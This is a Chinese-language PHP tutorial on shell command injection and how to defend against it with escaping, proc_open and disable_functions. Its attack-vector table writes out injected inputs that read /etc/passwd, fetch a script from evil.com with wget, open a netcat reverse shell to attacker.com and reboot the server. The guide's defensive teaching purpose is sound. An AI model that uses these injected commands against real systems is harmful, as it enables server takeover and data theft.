首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP exec() Shell 命令注入風險與防範:escapeshellcmd、escapeshellarg 實戰防護

     編輯:PHP 相關知識

exec()、shell_exec()、system()、passthru()、popen() 等函數執行系統命令,若**直接拼接用戶輸入**,將導致**命令注入漏洞**,攻擊者可執行任意系統命令。本文演示漏洞原理、利用方式、修復方案及最佳實踐。

漏洞演示



攻擊向量示例

用戶輸入拼接後命令效果
test.txt; cat /etc/passwdls test.txt; cat /etc/passwd讀取敏感文件
test.txt && wget https://evil.com/shell.sh -O /tmp/s.sh...下載惡意腳本
test.txt | nc attacker.com 4444...反彈 Shell
test.txt `id`...命令替換執行
test.txt $(reboot)...重啟服務器

修復方案:雙重轉義防線



轉義函數對比

函數用途轉義規則示例
escapeshellcmd() 轉義**命令名/完整命令行** 轉義 ;&|*?~<>^()[]{}$\x0A\xFF 等 Shell 元字符,加反斜槠 ls -la; rm → ls -la\; rm
escapeshellarg() 轉義**單個參數** **包裹單引號**,內部單引號轉為 '\\'',空字符串變 '' file"name → 'file'\\''name'
  • 原則:命令名用 escapeshellcmd,每個參數單獨用 escapeshellarg,**再拼接**。
  • 注意:escapeshellcmd 不處理參數內部邏輯,**必須配合 escapeshellarg 使用**。

更安全的替代方案:避免 Shell 完全

場景原生 PHP 替代優勢
列表目錄scandir(), glob(), SPL 迭代器無進程開銷、跨平台、可迭代
讀/寫文件file_get_contents(), file_put_contents(), fopen()流式、鎖控制、二進制安全
複製/移動/刪除copy(), rename(), unlink()原子性、錯誤處理、權限檢查
創建目錄mkdir($path, 0755, true)遞歸創建、權限設置
壓縮/解壓ZipArchive, PharData (tar/gz)純 PHP、流式、密碼保護
圖片處理GD, Imagick 擴展內存操作、豐富 API
PDF 生成DomPDF, TCPDF, Snappy (wkhtmltopdf 封裝)純 PHP 或受控二進制
發送郵件PHPMailer (SMTP)無需本地 MTA、功能豐富

不得不執行命令時的強化措施

  1. 白名單驗證:命令名、參數值均從預定義白名單選取,拒絕任意輸入。
  2. 參數化執行:使用 proc_open() 繞過 Shell 直接啟動進程,傳遞參數陣列:
    $proc = proc_open(['/usr/bin/convert', 'input.jpg', '-resize', '100x100', 'output.jpg'], [
            0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']
        ], $pipes);
        // 完全避免 Shell 解析,參數不經 Shell 元字符擴展
  3. 最小權限原則:Web 進程用戶 (www-data) **不可為 root**,禁用危險命令 (sudo, rm, wget, nc 等) 通過 open_basedir、disable_functions、容器/沙箱隔離。
  4. 審計日誌:記錄命令、參數、執行用戶、時間、返回碼,異常告警。
  5. 超時控制:proc_open 配合 stream_set_timeout 或 pcntl_alarm 防止掛起。

disable_functions 建議配置 (php.ini)

disable_functions = exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec,system,putenv,getenv,dl,assert,eval,create_function,array_map,array_filter,call_user_func,call_user_func_array,forward_static_call,forward_static_call_array
  • 根據業務實際需求精簡,保留極少數必需函數 (如 proc_open 供參數化執行)。
  • 若框架/庫依賴某些函數 (如 Laravel proc_open 隊列),按需開放並加強上層防護。

總結

命令注入是**服務器級災難性漏洞**。鐵律三條:

  1. 能不用 Shell 就不用:優先用原生 PHP 函數/擴展/庫。
  2. 必須用時:白名單 + escapeshellcmd + escapeshellarg 雙重轉義,或 proc_open 參數化執行繞過 Shell。
  3. 系統級加固:disable_functions、最小權限用戶、容器隔離、審計日誌。

沒有「輸入看起來無害」,只有「未經轉義的輸入必害」。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved